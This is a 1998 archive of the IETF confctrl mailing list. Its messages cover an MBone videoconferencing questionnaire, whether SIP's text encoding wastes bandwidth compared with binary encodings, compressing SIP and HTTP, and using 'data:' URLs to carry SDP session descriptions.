Received: from SpoolDir by S08HAAU0 (Mercury 1.43); 8 Aug 98 12:26:27 GMT+1
Received: from khsa.khs-linz.ac.at (193.170.98.102) by khsa.khs-linz.ac.at (Mercury 1.43) with ESMTP;
    8 Aug 98 12:26:20 GMT+1
Message-ID: <35CC2478.D3D10D71@khsa.khs-linz.ac.at>
Date: Sat, 08 Aug 1998 12:12:09 +0200
From: Schahram Dustdar <dustdar@khsa.khs-linz.ac.at>
Organization: Center for Informatics, University of Art and Industrial Design
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
To: mbone@ISI.EDU, confctrl@ISI.EDU, rem-conf@es.net
CC: Gertjan Hofstede <gertjan.hofstede@users.info.wau.nl>
Subject: Mbone questionaire
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

* Sorry if you receive this mail more than once ! *

Dear colleague,

We are two researchers working with the MBone-tools since 1993 and are
interested in understanding and promoting their usage in an
organizational and international context. We would like to ask you for
20 minutes of your time to fill in this questionnaire since you are
experts in MBone videoconferencing. We will present the results and mail
them to all interested respondents.

Please send your answer to gertjan.hofstede@users.info.wau.nl

Thank you very much for your cooperation.

Schahram Dustdar and Gertjan Hofstede
--------------------------------------------------------------------------------------
Videoconferencing questionnaire

Remarks:
Floor control deals with the question of who is allowed to have the
temporary monopoly to distribute signals to the other participants (such
as audio, video or shared data).
Side chatting is private communication between two or more people
involved in a videoconference.

Personalia
1. How old are you?
2. What is your nationality?
3. Are you female or male?
4. What is your job title?
5. Of how many people are you boss?
6. In what type of organization do you work? (Profit, government,
academic, other non-profit)
7. How many videoconferences have you attended within your organization?
8. How many videoconferences have you attended between organizations?
9. How many videoconferences have you initiated?

Context 
1. How well do you usually know your conference partners? (1 very well,
5 not at all)
2. How many participants are usually in the videoconference ?
3. How much time elapses between the call for the videoconference and
the actual videoconference? (hours, days, weeks, months)
4. What type of tasks do the videoconferences address ? (1 always .. 5
never)
· Group Setup
· Brainstorming
· Briefing
· Discussion
· Planning
· Negotiation
· Evaluation of Project
· Try out of technology
· Other: ........
5. Which other applications do you use during a videoconfence?
6. How many time zones does the videoconference usually span?

Preparation of a videoconference (Please give a descriptive answer)

1. When and how do you decide on the floor control of audio, video and
shared data? 
2. When and how do you decide on note taking during the
videoconference?  
3. When and how do you decide on the agenda for the meeting? 

During a videoconference 

1. Compared to face-to-face meetings, how problematic is concurrent
speaking? (1 much more so ... 5 much less so)
2. Compared to face-to-face meetings, how problematic is it to know
exactly who is talking at the moment? (1 much more so ... 5 much less
so)
3. Is screen space a limiting factor ? (1 very much ... 5 not at all)
4. What monitor size do you use (inches)?
5. Compared to face-to-face meetings, how easy is it to reach agreement
in a videoconference? (1 much easier ... 5 much more difficult) 
6. Compared to face-to-face meetings, how often have you experienced
strong "intellectual" disagreement in a videoconference ? (1 much more
often .. 5 much less often)
7. Compared to face-to-face meetings, how often have you experienced
strong "personal resentment" in a videoconference ? (1 much more often
.. 5 much less often)
8. Have you experienced culture clashes using videoconferences? (if yes
please explain)

In a hypothetical ideal videoconferencing environment, what features
would you wish to see (1 very much ... not at all 5:):
1. Would you like to have anonymous features in videoconferencing tools?
(eg. In the shared whiteboard)
2. Would you like to have a "speaking meter" in the audio tool in order
to measure
how long each participant talks?
3. Would you like to allow "side-chatting" in videoconferencing tools?
4. Would you like to have features to keep track of the meeting's
progress ? If yes which features? 

The next three questions are open ended:

5. What features would be needed in order to promote that every
participant freely expresses his/her ideas?
6. How do the videoconferencing participants signal the conference chair
that they want
to say something?  
7. Would you like to have work-related background information of your
conference participants? (such as: which projects is the other person
responsible for, to whom does he report, when is the deadline for the
project, etc.) If yes, what information ?

Conclusion 
1. Who does the documentation of the minutes? (open?)
2. Are they provided on a web-page afterwards?  
3. If yes, how long does it take until they appear on the
Intranet/Internet?
4. Do you use them after the meeting ? (1 very intensively ... 5 not at
all)
5. Reading the minutes afterwards, would you like to play back the
6. audio/video streams of the meeting?
7. In your opinion, what are the main differences between face-to-face
meetings and videoconferences? 
8. In your opinion, what are the main do's and don'ts?
9. In the future, how important will videoconferencing grow to be ? (1
crucial ...5 insignificant)


Would you like to receive the results of this questionaire?

Thank you very much for your cooperation!
------------------------------------------------------------------------------
--
Dr.Schahram Dustdar 
University of Art and Industrial Design
Center for Informatics Services (ZID)
Head of Department
Hauptplatz 8, A-4010 Linz-Austria/Europe
eMail:  dustdar@khsa.khs-linz.ac.at
Home:   http://www.khs-linz.ac.at/~dustdar
WWW:    http://www.khs-linz.ac.at
Tel:    XX43-732-7898-260
Fax:    XX43-732-783508
--------------------------------------------
Austrian Multimedia National Support Centre 
for multimedia conferencing support

From confctrl-owner  Sat Aug  8 15:29:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA09435
	for confctrl-outgoing; Sat, 8 Aug 1998 15:29:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA09430
	for <confctrl@zephyr.isi.edu>; Sat, 8 Aug 1998 15:29:37 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA01234
	for <confctrl@ISI.EDU>; Sat, 8 Aug 1998 15:29:35 -0700 (PDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15899-0@bells.cs.ucl.ac.uk>; Sat, 8 Aug 1998 23:29:23 +0100
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Christian Huitema <huitema@bellcore.com>,
        Bruce Wiatrak <wiatrak@cig.mot.com>, confctrl@ISI.EDU
Subject: Re: SIP and waste of bandwidth in wireless applications
In-reply-to: Your message of "Fri, 07 Aug 1998 15:28:47 EDT." <35CB556F.F5E46141@dnrc.bell-labs.com>
Date: Sat, 08 Aug 1998 23:29:20 +0200
Message-ID: <6245.902615360@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <35CB556F.F5E46141@dnrc.bell-labs.com>, Jonathan Rosenberg typed:

see craig partridge's work (off henning's excellent bibliographic
search site) on different data ,representations

the space/CPU trade offs are not brilliantly in favour of ASN.1/BER or
PER....imho

buton a continuous media channel, forget it..

and in detail, H.x and S.x protocols are pretty similar jn message
size, so then its just CPU, where the string encodijng wil win way
better that tagged or embedded bit coded application level protocols

and everytin else you say is also true!
 >>Christiaa Huitema wrote:
 >>> 
 >>> On Aug 7, 12:31pm, Bruce Wiatrak wrote:
 >>> > Subject: SIP and waste of bandwidth in wireless applications
 >>> >
 >>> > Is seems to me that a Text Based call setup protocol
 >>> > will waste bandwidth especially in wireless
 >>> > applications where spectrum must be tightly
 >>> > managed.
 >>> 
 >>> Text encodings are typically 20% to 100% larger than binary encodings.
 >>> This is indeed significant.
 >>
 >>I'd really be interested to know about comparisons with something like
 >>ASN.1. There are overheads associated with both PER and BER as well, so
 >>it would be nice to get a real number instead of everyone just guessing.
 >>
 >>The size will also depend on the amount of data sent. A binary based
 >>protocol with a lot more mandatory elements could in the end be larger
 >>than a textual protocol with fewer.
 >>
 >>
 >> However, the impact is less than you
 >>> think in an Internet environment where payload packets and signalling
 >>> packets share the same channels.  A connection set-up requires 6 or
 >>> 7 messages, while the voice channel alone requires about 20 messages
 >>> per second if you want to maintain reasonably interactive delays.
 >>
 >>A SIP exchange is three in general; unless maybe you are counting things
 >>like DNS and ARP? Actually, packet rates are likely around 30 per second
 >>(using G.723.1 = 30ms frames and 1 frame per packet = 33 packets per
 >>second).
 >>
 >>> 
 >>> > Also processing of Text strings requires more processing
 >>> > than a bit oriented protocol.
 >>> 
 >>> The difference is marginal -- it mostly depend on the optimisation level
 >>> of your code.
 >>
 >>You'll spend *way* more time doing any reasonable speech compression
 >>than parsing the text of the message.
 >>
 >>-Jonathan R.
 >>
 >>-- 
 >>Jonathan D. Rosenberg                       Lucent Technologies
 >>Member of Technical Staff                   101 Crawfords Corner Rd.
 >>High Speed Networks Research                Holmdel, NJ 07733
 >>FAX:   (732) 834-5379                       Rm. 4C-526
 >>EMAIL: jdrosen@bell-labs.com
 >>URL: http://www.cs.columbia.edu/~jdrosen

 cheers

   jon


From confctrl-owner  Sat Aug  8 18:13:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA11134
	for confctrl-outgoing; Sat, 8 Aug 1998 18:13:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA11129
	for <confctrl@zephyr.isi.edu>; Sat, 8 Aug 1998 18:13:12 -0700 (PDT)
Received: from pm05sm.pmm.mci.net (pm05sm.pmm.mci.net [208.159.126.154])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA08544
	for <confctrl@ISI.EDU>; Sat, 8 Aug 1998 18:13:11 -0700 (PDT)
Received: from leonia (usr33-dialup40.mix2.Boston.mci.net)
 by PM05SM.PMM.MCI.NET (PMDF V5.1-10 #U2935)
 with ESMTP id <0EXE00FXYDZFRC@PM05SM.PMM.MCI.NET> for confctrl@ISI.EDU; Sun,
 9 Aug 1998 01:11:41 +0000 (GMT)
Date: Sat, 08 Aug 1998 21:12:16 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SDP URL Scheme
To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
Cc: confctrl@ISI.EDU
Reply-to: hgs@cs.columbia.edu
Message-id: <35CCF770.6A8D20D9@cs.columbia.edu>
Organization: Columbia University (home)
MIME-version: 1.0
X-Mailer: Mozilla 4.01 [en] (Win95; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
References: <35CAF51E.435A1C18@cs.columbia.edu>
 <19980807223726A.magician@kuis.kyoto-u.ac.jp>
X-Priority: 3 (Normal)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FUJIKAWA Kenji wrote:
> 
> From: Henning Schulzrinne <hgs@cs.columbia.edu>
> Subject: Re: SDP URL Scheme
> Date: Fri, 07 Aug 1998 08:37:50 -0400
> 
> > Seems like we have this discussion every 6 months or so.
> 
> In this ML?
> I did not noticed that.

Might have been on rem-conf, but this at least the third or fourth time.

> I am not sure what do you mean by "data" URL.
> Does "data" URL mean just SDP,
> or is such a URL type defined?

ftp://ietf.org/internet-drafts/draft-masinter-url-data-03.txt

or http://www13.w3.org/Addressing/schemes.html

with type 'application/sdp'.

Since the draft is dated May 18, 1997, I assume that it is in some kind
of pre-RFC state (as it would have expired long ago otherwise).

From confctrl-owner  Sat Aug  8 18:24:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA11289
	for confctrl-outgoing; Sat, 8 Aug 1998 18:24:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA11283
	for <confctrl@zephyr.isi.edu>; Sat, 8 Aug 1998 18:24:13 -0700 (PDT)
Received: from pm01sm.pmm.mci.net (pm01sm.pmm.mci.net [208.159.126.150])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA08872
	for <confctrl@ISI.EDU>; Sat, 8 Aug 1998 18:24:12 -0700 (PDT)
Received: from leonia (usr33-dialup40.mix2.Boston.mci.net)
 by PM01SM.PMM.MCI.NET (PMDF V5.1-10 #27033)
 with ESMTP id <0EXE004EFEJ2M1@PM01SM.PMM.MCI.NET> for confctrl@ISI.EDU; Sun,
 9 Aug 1998 01:23:40 +0000 (GMT)
Date: Sat, 08 Aug 1998 21:24:00 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SDP URL Scheme
To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
Cc: confctrl@ISI.EDU
Reply-to: hgs@cs.columbia.edu
Message-id: <35CCFA30.CAFCF106@cs.columbia.edu>
Organization: Columbia University (home)
MIME-version: 1.0
X-Mailer: Mozilla 4.01 [en] (Win95; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
References: <35CAF51E.435A1C18@cs.columbia.edu>
 <19980807223726A.magician@kuis.kyoto-u.ac.jp>
X-Priority: 3 (Normal)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FUJIKAWA Kenji wrote:
> 
> From: Henning Schulzrinne <hgs@cs.columbia.edu>
> Subject: Re: SDP URL Scheme
> Date: Fri, 07 Aug 1998 08:37:50 -0400
> 
> > Seems like we have this discussion every 6 months or so.
> 
> In this ML?
> I did not noticed that.

Might have been on rem-conf, but at least 3 or 4 times.


> or is such a URL type defined?

The data URL is defined in an I-D. See
http://www.cs.columbia.edu/~hgs/rtsp/related.html

From confctrl-owner  Sun Aug  9 07:25:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA17830
	for confctrl-outgoing; Sun, 9 Aug 1998 07:25:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17825
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 07:25:08 -0700 (PDT)
Received: from mira.kuis.kyoto-u.ac.jp (mira.kuis.kyoto-u.ac.jp [130.54.22.123])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14785
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 07:25:06 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mira.kuis.kyoto-u.ac.jp (8.8.8/8.8.7) with ESMTP id XAA25098
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 23:24:21 +0900 (JST)
	(envelope-from magician@kuis.kyoto-u.ac.jp)
To: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme
In-Reply-To: Your message of "Sat, 08 Aug 1998 21:12:16 -0400"
	<35CCF770.6A8D20D9@cs.columbia.edu>
References: <35CCF770.6A8D20D9@cs.columbia.edu>
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19980809232421R.magician@kuis.kyoto-u.ac.jp>
Date: Sun, 09 Aug 1998 23:24:21 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 980128
Lines: 52
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: SDP URL Scheme
Date: Sat, 08 Aug 1998 21:12:16 -0400

> 
> Might have been on rem-conf, but this at least the third or fourth time.
> 

I see.

I think this topic should be discussed on this ML
according to the AVT charter and the MMUSIC charter.

> > I am not sure what do you mean by "data" URL.
> > Does "data" URL mean just SDP,
> > or is such a URL type defined?
> 
> ftp://ietf.org/internet-drafts/draft-masinter-url-data-03.txt
> 
> or http://www13.w3.org/Addressing/schemes.html
> 
> with type 'application/sdp'.
> 

This is like employing

	<a href="data:application/ftp;base64,ZGVzdD1mdHAubWVkaWEua3lvdG8tdS5hYy5qcA0KZGlyPXB1Yi9SRkMNCmZpbGU9cmZjLWluZGV4LnR4dA0K">

instead of 

	<a href="ftp://ftp.media.kyoto-u.ac.jp/pub/RFC/rfc-index.txt">

From confctrl-owner  Sun Aug  9 09:05:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA18870
	for confctrl-outgoing; Sun, 9 Aug 1998 09:05:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18862
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 09:05:33 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18873
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 09:05:31 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA22860;
	Sun, 9 Aug 1998 12:05:30 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1])
	by erlang.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA14883;
	Sun, 9 Aug 1998 12:05:23 -0400 (EDT)
Message-ID: <35CDC8C3.C1C0CF8C@cs.columbia.edu>
Date: Sun, 09 Aug 1998 12:05:23 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
CC: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme
References: <35CCF770.6A8D20D9@cs.columbia.edu> <19980809232421R.magician@kuis.kyoto-u.ac.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FUJIKAWA Kenji wrote:
> 
>
> 
> This is like employing
> 
>         <a href="data:application/ftp;base64,ZGVzdD1mdHAubWVkaWEua3lvdG8tdS5hYy5qcA0KZGlyPXB1Yi9SRkMNCmZpbGU9cmZjLWluZGV4LnR4dA0K">
> 
> instead of
> 
>         <a href="ftp://ftp.media.kyoto-u.ac.jp/pub/RFC/rfc-index.txt">

Wrong. base64 encoding is only required if the content to be conveyed is
binary (a gif). An SDP description like

      v=0
      o=user1 53655765 2353687637 IN IP4 128.3.4.5
      s=Mbone Audio
      i=Discussion of Mbone Engineering Issues
      e=mbone@somewhere.com
      c=IN IP4 224.2.0.1/127
      t=0 0
      m=audio 3456 RTP/AVP 0

would look something like

data:applications/sdp,v=0%OAo=user1%OA....

The nice thing about this is that this a generic mechanism which can
easily recycle the MIME tables in browsers. Indeed, if SDR were to
understand SDP file arguments (Mark: hint...), this can work today. If
you want to try it, go to http://www.cs.columbia.edu/~hgs/etc/data.html
after configuring your MIME type file to have an entry along the lines
of

application/sdp whatever_application_handles_sdp %s

Works in Netscape 4.0 and 4.5 and possibly other browsers. The page also
contains an IMG with a GIF as an embedded 'data' item. No magic needed.
-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun Aug  9 09:20:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19083
	for confctrl-outgoing; Sun, 9 Aug 1998 09:20:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19078
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 09:20:52 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19240
	for <confctrl@isi.edu>; Sun, 9 Aug 1998 09:20:47 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id TAA16214; Sun, 9 Aug 1998 19:19:51 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225665B.005F8061 ; Sun, 9 Aug 1998 19:23:07 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: wiatrak@cig.mot.com
cc: confctrl@ISI.EDU
Message-ID: <4225665B.005284AF.00@il4.vocaltec.co.il>
Date: Sun, 9 Aug 1998 18:52:52 +0200
Subject: Compressing SIP (and HTTP) to save bandwidth
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 08/09/98 06:52 PM

I do agree with you that SIP (and HTTP) use much too much
bandwidth. (Although I couldn't agree with your analysis of the
problem - the problems have nothing to do with wireless
applications, telephony, processing time, or latency)
There is a definite need for a compression scheme
for SIP (and HTTP). The reasons are:

1) SIP packets over UDP might well get large enough to require
fragmentation.

2) Both SIP and HTTP can be very usefully used to transmit very *small*
amounts of data. For example, in PINT we use SIP to transmit pages to
a telephone pager (a.k.a "instant messages" ) Having  50 characters of
SIP header to transmit a 25 character message is stupid. If you want
to build a pager network that transmits a few million messages per day,
using SIP, the overhead is going to be a real problem. (Although I wonder
what the signaling overhead of today's pager systems are....)

I know that there are lots of competing proprietary solutions for
"low-bandwidth HTTP". Is there a single standard emerging somewhere?

The correct solution, IMHO, is to specify a C/SIP (compressed SIP)
protocol. Even better, let's merge SIP with HTTP, and then work
hard on C/HTTP. We could specify a C/SIP without merging
with HTTP, but I think C/HTTP (or C/SIP) is about as important as is the
"HDGP" that Christian once mentioned.

BTW, if you just take SIP/SDP packets and Ziv-Lempel-2 them, you get
very good compression. If you pre-load the dictionary with the most
common SIP/SDP headers, you get even better compression. If you allow
the dictionary to last over the lives of several SIP calls, you get
even better compression -- probably as good as can be done. Certainly
better than ASN.1 PER would do on the same information.
Would anyone be interested in doing this work with me?

This is the way the IETF usually works -- first get the protocol right,
then
consider a decent compression technique for that protocol. I think that we
will have to see some implementations before we can get SIP compression
right.

Scott

Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Sun Aug  9 09:21:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19097
	for confctrl-outgoing; Sun, 9 Aug 1998 09:21:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19092
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 09:20:59 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19247
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 09:20:54 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id TAA16212; Sun, 9 Aug 1998 19:19:39 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225665B.005F7DAB ; Sun, 9 Aug 1998 19:23:00 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: wiatrak@cig.mot.com
cc: confctrl@ISI.EDU
Message-ID: <4225665B.004D1C4E.00@il4.vocaltec.co.il>
Date: Sun, 9 Aug 1998 18:37:54 +0200
Subject: Re: SIP and waste of bandwidth in wireless applications
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 08/09/98 06:37 PM


>Also processing of Text strings requires more processing
>than a bit oriented protocol.

Almost any wireless IP device is going to be able to parse some sort
of HTTP, so it will have text parsing built-in anyway. So if you
insist on having a bit oriented protocol, you will probably need to
add *extra* processing to support it. So it may be that having a
bit oriented protocol for telephony will increase the processing
requirements. (This will be even more true if SIP and HTTP can
actually merge).

Also, I do not know if the particular "bit oriented protocol" in
question, H.323, actually produces shorter messages than SIP.
H.323 messages use Q.931 messages to wrap ASN.1 information elements.
In order to ASN.1 PER to produce short PDUs, the order of the fields
within the messages must be chosen with some care. I have not seen
a direct unbiased comparison of the actual average message length of
"telephony" H.323v2 messages vs. "telephony" SIP messages.

The bottom line is that neither H.323 nor SIP were designed for
bandwidth restricted environments. If we really need to make SIP
messages shorter, we should specify a C/SIP header compression
scheme. I personally think that this is extremely important,
although not at all for the reasons you mention. I'll write a
separate email on this.

>Call setup time in the wireless and landline telephony systems
>is regarded as a required quality of service attribute.

Absolutely, but this is determined by the number of Round Trip Times
(RTTs) needed to set up a call, not by the length of the messages. Both
SIP and H.323v2 "FastStart" get this pretty much right. Although one
could argue the advantages and disadvantages of each, Call setup time
in each case is minimal.

>Are there plans to create a digital call setup protocol?

Uh, SIP is a digital call setup protocol. It uses ASCII which is a
standard for the digital representation of text characters.


Scott






wiatrak@cig.mot.com on 08/07/98 07:31:49 PM

To:   confctrl@ISI.EDU
cc:   wiatrak@cig.mot.com (bcc: Scott Petrack)
Subject:  SIP and waste of bandwidth in wireless applications





Is seems to me that a Text Based call setup protocol
will waste bandwidth especially in wireless
applications where spectrum must be tightly
managed.
Also processing of Text strings requires more processing
than a bit oriented protocol.
In the SIP Draft dated July 16, 1998 section
1.5.3 it states that "it is believed that the additional
overhead of using a text-based protocol is not significant."
Call setup time in the wireless and landline telephony systems
is regarded as a required quality of service attribute.
Customers will not accept a much increased call setup time
because of the extra processing required to parse strings.
Are there plans to create a digital call setup protocol?
Bruce






From confctrl-owner  Sun Aug  9 09:54:47 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19759
	for confctrl-outgoing; Sun, 9 Aug 1998 09:54:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19754
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 09:54:45 -0700 (PDT)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20503
	for <confctrl@isi.edu>; Sun, 9 Aug 1998 09:54:43 -0700 (PDT)
Received: from localhost by www45.inria.fr (8.8.8/8.8.5) with ESMTP id SAA18244; Sun, 9 Aug 1998 18:54:35 +0200 (MET DST)
Message-Id: <199808091654.SAA18244@www45.inria.fr>
To: "Scott Petrack" <Scott_Petrack@vocaltec.com>
cc: confctrl@ISI.EDU, frystyk@w3.org
Subject: Re: Compressing SIP (and HTTP) to save bandwidth 
In-reply-to: Your message of Sun, 09 Aug 1998 18:52:52 +0200.
             <4225665B.005284AF.00@il4.vocaltec.co.il> 
Date: Sun, 09 Aug 1998 18:54:34 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


On 09/08/1998, "Scott Petrack"<Scott_Petrack@vocaltec.com>  wrote:
...
>I know that there are lots of competing proprietary solutions for
>"low-bandwidth HTTP". Is there a single standard emerging somewhere?

"Low-bandwidth http" is one of the goals of http-ng

(Bhttp://www.w3.org/Protocols/HTTP-NG/

There will be a BOF on this in Chicago, and the http-ng documents
are available as internet drafts

From confctrl-owner  Sun Aug  9 09:59:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19846
	for confctrl-outgoing; Sun, 9 Aug 1998 09:59:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19841
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 09:59:36 -0700 (PDT)
Received: from mira.kuis.kyoto-u.ac.jp (mira.kuis.kyoto-u.ac.jp [130.54.22.123])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20626
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 09:59:34 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mira.kuis.kyoto-u.ac.jp (8.8.8/8.8.7) with ESMTP id BAA25256
	for <confctrl@ISI.EDU>; Mon, 10 Aug 1998 01:58:46 +0900 (JST)
	(envelope-from magician@kuis.kyoto-u.ac.jp)
To: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme
In-Reply-To: Your message of "Sun, 09 Aug 1998 12:05:23 -0400"
	<35CDC8C3.C1C0CF8C@cs.columbia.edu>
References: <35CDC8C3.C1C0CF8C@cs.columbia.edu>
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19980810015845I.magician@kuis.kyoto-u.ac.jp>
Date: Mon, 10 Aug 1998 01:58:45 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 980128
Lines: 120
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My original mail was splitted somehow
(maybe because of the line starting with a period).

> From: Henning Schulzrinne <hgs@cs.columbia.edu>
> Subject: Re: SDP URL Scheme
> Date: Sat, 08 Aug 1998 21:12:16 -0400
> 
> > 
> > Might have been on rem-conf, but this at least the third or fourth time.
> > 
> 
> I see.
> 
> I think this topic should be discussed on this ML
> according to the AVT charter and the MMUSIC charter.
> 
